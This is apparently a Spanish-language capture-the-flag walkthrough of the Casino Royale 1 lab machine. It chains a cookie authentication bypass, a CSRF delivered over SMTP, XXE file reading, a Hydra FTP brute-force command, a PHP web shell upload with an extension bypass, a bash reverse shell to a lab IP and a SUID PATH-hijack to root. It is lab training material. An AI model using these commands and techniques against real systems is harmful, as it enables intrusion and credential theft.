Description: The flags start off easy and get harder as you progress. Each flag contains a hint to the next flag. Will you gain your status as a 00 agent?
- Flag is /root/flag/flag.sh
Máquina Casino Royal 1
Reconocimiento
Identificamos el Target y escaneamos los puertos abiertos.
Realizamos el escaneo por nmap de las principales recursos por http.
De toda las rutas encontradas, tenemos uno interesante, en donde nos muestra este servicio PokerMax.
Al parecer este servicio es vulnerable
configure.php in PokerMax Poker League Tournament Script 0.13 allows remote attackers to bypass authentication and gain administrative access by setting the ValidUserAdmin cookie. De igual manera vemos un nombre de una tabl pokerleague, tendremos esto en cuenta.
Buscando en la web, econtramos un exploit,el cual nos indica que podemos agregar la siguiente línea en la consola de la web, en la ruta que se muestra más abajo.
Si no existe pokerleague, buscamos por pokeradmin y es aquí donde ingresamos esta línea de java De esta manera se agrega la cookie.
Como se observa ya tenemos almacenada el valor admin. Cargamos la página y ya tenemos acceso.
Ya dentro de pokeradmin,vemos el perfil del usuario admin y tenemos una descripcion, que referencia a un Virtual Hosting, por ende, modificamos en /etc/hosts con el dominio mostrado.
Enumeracion
Ahora dentro de esta plataforma pokeradmin buscaremos vectores de explotación, es aqui donde podemos visualizar usuarios, donde uno de ellos tiene un email (Valenka)
Click Edit Info, podemos apreciar que tiene otro recurso adicional, bajo casino-royal.local
Al ingresar tenemos otra plataforma Snowfox.
Buscaremos un posible exploit, y al parecer tiene un CSRF que agrega un usuario admin. Usamos el cuerpo del script en html y lo editamos.
Dentro de la página de Snowfox nos muestra un mensaje, este nos indica que valenka lee los mensajes, y tiene permisos administradores, entonces si enviamos un archivo html con estos campos modificados y generamos un CSRF, podremos tener un acceso a esta plataforma Snowfox.
Explotacion
CSRF Creamos un .html donde modificamos los campos necesarios,y asi para obtener el CSRF.
Pero como enviamos un correo, es aquí donde recordamos que teníamos un servicio SMTP en el puerto 25. Es de esta manera que podremos conectarnos a este y enviar desde aqui el mensaje.
Compartimos el servicio html antes de enviar el mensaje.
Una vez con éxito ya podemos loguearnos con el usuario creado.
Teniendo acceso tenemos una lista de email.Vemos un apartado de Manage user, enumeramos uno por uno.
El usuario le@casino-royale.local , tiene una dirección adicional que nos redireccionará a esta web.
Quitamos el .php y nos damos cuenta que tenemos capacidad de Directory Listing. Así que podemos buscar la forma de subir un archivo y ejecutarlos en este directorio.
XXE Regresando a la pagina anterior,miramos el código de esta página y observamos que por POST, puede ser vulnerable a XML.
Adicionalmente a ello vemos que imprime Welcome ! , como no se le asigna ningún usuario, no se muestra en la respuesta.
Capturamos y cambiamos la petición a POST, Agregamos los campos del XML para usuario y password, enviamos y confirmamos XML, puesto que nos muestra el campo del usuario en el Render del Response.
De esta manera aplicamos el XXE, para leer el archivo /etc/passwd
Tenemos un nuevo usuario, generamos un ataque con Hydra por FTP,si deseas usar rockyou.txt esto tomara 2h para encontrar una passwd, y logearnos. Les adelanto que la contraseña empezaría con bank.
1
hydra -l ftpUserULTRA -P pass.txt ftp://192.168.65.144 -t 15
Ya dentro del servicio ftp, buscamos subir un archivo con extension php.
Encontramos estos recursos, que son los mismos vistos en la web. Por ende subiremos un archivo malicioso.
RCE Creamos el .php , con un parametro cmd.
Pero al intentar subir el archivo, el sistema nos impide. Puede ser por la extension, así que intentaremos bypassear. Cambiando la extension a php3.
Se subió de manera exitosa.
Asi que en la web, cargamos el recurso y ejecutamos el comando que deseamos.
Pero nos damos con la sorpresa que no tenemos respuesta, esto nos hace pensar que no tenemos el permiso de ejecutar el archivo.
Cambiamos permisos
Y ahora ejecutamos nuestra Reverse shell. Recomendado urlencodear el & con %26
1
bash -c "bash -i >& /dev/tcp/192.168.65.139/443 0>&1"
Persistencia
De esta manera enumeramos el sistema, para ello en esta misma ruta es bueno verificar archivos de configuración almacenados.
1
find . -name \*config\* 2>/dev/null -exec cat {} \; | less -S -r
Tenemos nuevas credenciales
Buscamos suid. Y encontramos un recurso
Al intentar ejecutar este binario, no encuentra un run.sh
Lo curioso es que existe un run.sh dentro de la misma carpeta, pero solo lo ejecuta el usuario le, no valeska. Así que analizaremos el script, para encontrar una respuesta.
1
strings /opt/casino-royale/mi6_detect_test
Y en efecto vemos que simplemente ejecuta una bash de run.sh, no especifica la ruta completa, de esta manera podemos aprovechar esto.
Es aquí donde creamos nuestro archivo run.sh que el binario si pueda ejecutar.
1
2
3
#!/bin/bash
bash -p
Ejecutamos el binario y ya tendremos acceso root.
Podemos observar la flag por la web, utilizando php.